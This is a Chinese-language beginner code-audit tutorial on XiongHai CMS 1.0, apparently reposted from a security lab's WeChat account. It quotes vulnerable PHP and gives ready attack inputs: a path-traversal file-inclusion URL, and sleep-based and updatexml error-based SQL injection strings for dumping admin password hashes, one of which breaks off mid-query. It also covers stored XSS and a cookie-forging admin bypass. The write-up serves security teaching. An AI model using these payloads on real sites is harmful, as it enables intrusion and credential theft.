熊海CMS代码审记(新手入门)

admin 2025年2月20日23:45:07评论11 views字数 3853阅读12分50秒阅读模式

 本文针对于熊海CMS进行一套代码审计分析,白盒审计代码:iseaCMS_1.0    使用工具:seay自动审计工具+vscode ”

01

代码目录

熊海CMS代码审记(新手入门)

admin      --管理后台文件夹css        --存放css的文件夹files      --存放页面的文件夹images     --存放图片的文件夹inc        --存放网站配置文件的文件夹install    --网站进行安装的文件夹seacmseditor  --编辑器文件夹template      --模板文件夹upload        --上传功能文件夹index.php     --网站首页

02

自动审计

先使用seay自动审计一下,减小工作量

熊海CMS代码审记(新手入门)

自动审计完成,发现34个可疑漏洞

seay支持导出代审报告:

熊海CMS代码审记(新手入门)

03

漏洞验证

1.文件包含

首先看一下index.php 和 admin/index.php 显示的文件包含漏洞

代码片:

<?php//单一入口模式error_reporting(0); //关闭错误显示$file=addslashes($_GET['r']); //接收文件名$action=$file==''?'index':$file; //判断为空或者等于indexinclude('files/'.$action.'.php'); //载入相应文件?>

代码中用函数addslashes进行了一波过滤,防止命令执行,但是对于文件包含无济于事,既然没有限制,那么我们就可以包含到files文件夹下的源码甚至根目录下的文件内容

PHP addslashes() 函数在每个双引号(")前添加反斜杠:<?php$str = addslashes('Hello "PHP", please be kind to me');echo $str;?>--------------------------输出:Hello "PHP", please be kind to me

比如我们在根目录下新建好一个phpinfo.php文件

<?php phpinfo(); ?>

构造payload进行访问

?r=../../phpinfohttp://localhost/xionghai/admin/index.php?r=../../phpinfo

成功访问到了phpinfo.php文件的内容

熊海CMS代码审记(新手入门)

注意此CMS是有两处文件包含,一个位于index.php,一个位于admin/index.php,都可以利用成功

2.SQL注入

SQL注入一般存在于网站中要向数据库中提交或更新信息的地方

比如此CMS后台的login.php源码:

<?php ob_start();require '../inc/conn.php';$login=$_POST['login'];$user=$_POST['user'];$password=$_POST['password'];$checkbox=$_POST['checkbox'];if ($login<>""){$query = "SELECT * FROM manage WHERE user='$user'";$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());$users = mysql_fetch_array($result);if (!mysql_num_rows($result)) {  echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";exit;}else{$passwords=$users['password'];if(md5($password)<>$passwords){echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";exit;        }//写入登录信息并记住30天if ($checkbox==1){setcookie('user',$user,time()+3600*24*30,'/');}else{setcookie('user',$user,0,'/');}echo "<script>this.location='?r=index'</script>";exit;}exit;ob_end_flush();}?>

不要着急,我们先简要分析一下源码:(增加了注释)

<?php ob_start();require '../inc/conn.php';// 通过POST方式接受数据$login=$_POST['login'];$user=$_POST['user'];$password=$_POST['password'];$checkbox=$_POST['checkbox'];if ($login<>""){// 编写的sql语句存入变量$query$query = "SELECT * FROM manage WHERE user='$user'";// 没有任何过滤,直接使用mysql_query函数提交到数据库执行,这个正是我们可以利用的攻击点$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());$users = mysql_fetch_array($result);// 此处的意思是,如果在数据库中没有找到要登录的用户名,提示错误if (!mysql_num_rows($result)) {  echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";exit;}else{// 找到了用户名,但是密码错误,同样弹出一个错误信息$passwords=$users['password'];if(md5($password)<>$passwords){ // 这里的密码使用了md5函数进行了一次加密操作echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";exit;        }//写入登录信息并记住30天if ($checkbox==1){setcookie('user',$user,time()+3600*24*30,'/');}else{setcookie('user',$user,0,'/');}echo "<script>this.location='?r=index'</script>";exit;}exit;ob_end_flush();}?>

测试使用万能密码无法登录,但是依然存在布尔盲注和报错注入

比如,我们构建恶意提交

// 布尔盲注admin' or sleep(10) #// 进行报错注入1' or updatexml(1,concat((select concat(0x7e,password) from manage)),0) #1' or updatexml(1,concat((select concat(password,0x7e) from manage)),0) #// 将获得的MD5值进行爆破破解得到password的铭文,随后继续注入获取用户名1' or updatexml(1,concat((select concat(0x7e,user) from

至于源码中其他的诸多SQL注入漏洞,本质上都是一样的思路

熊海CMS代码审记(新手入门)

3.存储型XSS漏洞

漏洞位置:files/content.php

通过对代码片的分析前端没有对提交的数据进行限制:

<li><span>昵称</span><input name="name" type="text" value="<?php echo $_COOKIE['name']?>" /></li><li><span>邮箱</span><input name="mail" type="text" value="<?php echo $_COOKIE['mail']?>"/></li><li><span>网址</span><input name="url" type="text" value="<?php echo $_COOKIE['url']?>"/></li>

通过全局搜索提交变量,发现后端也没有进行限制

$save=$_POST['save'];$name=$_POST['name'];$url=$_POST['url'];

因此产生了比较严重的存储型XSS

熊海CMS代码审记(新手入门)

4.越权漏洞

漏洞位置:inc/checklogin.php

<?php$user=$_COOKIE['user'];if ($user==""){header("Location: ?r=login");exit;    }?>

代码大意就是 接收cookie中user的内容,如果user字段为空,则跳到登录页面

那么发现,此处的user应该就是登录的用户名,我们通过抓包修改user字段值为admin,可以成功进入admin账户进行后台管理操作

      昆仑云安全实验室系列文章仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担!!!

    昆仑云安全实验室拥有对此文章的修改、删除和解释权限!!!

References

[1] TOC: 熊海CMS代审日记,适合新手

后台回复"iseaCMS_1.0"获取熊海cms源码及审计工具

原文始发于微信公众号(昆仑云安全):熊海CMS代码审记(新手入门)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月20日23:45:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   熊海CMS代码审记(新手入门)https://cn-sec.com/archives/911232.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息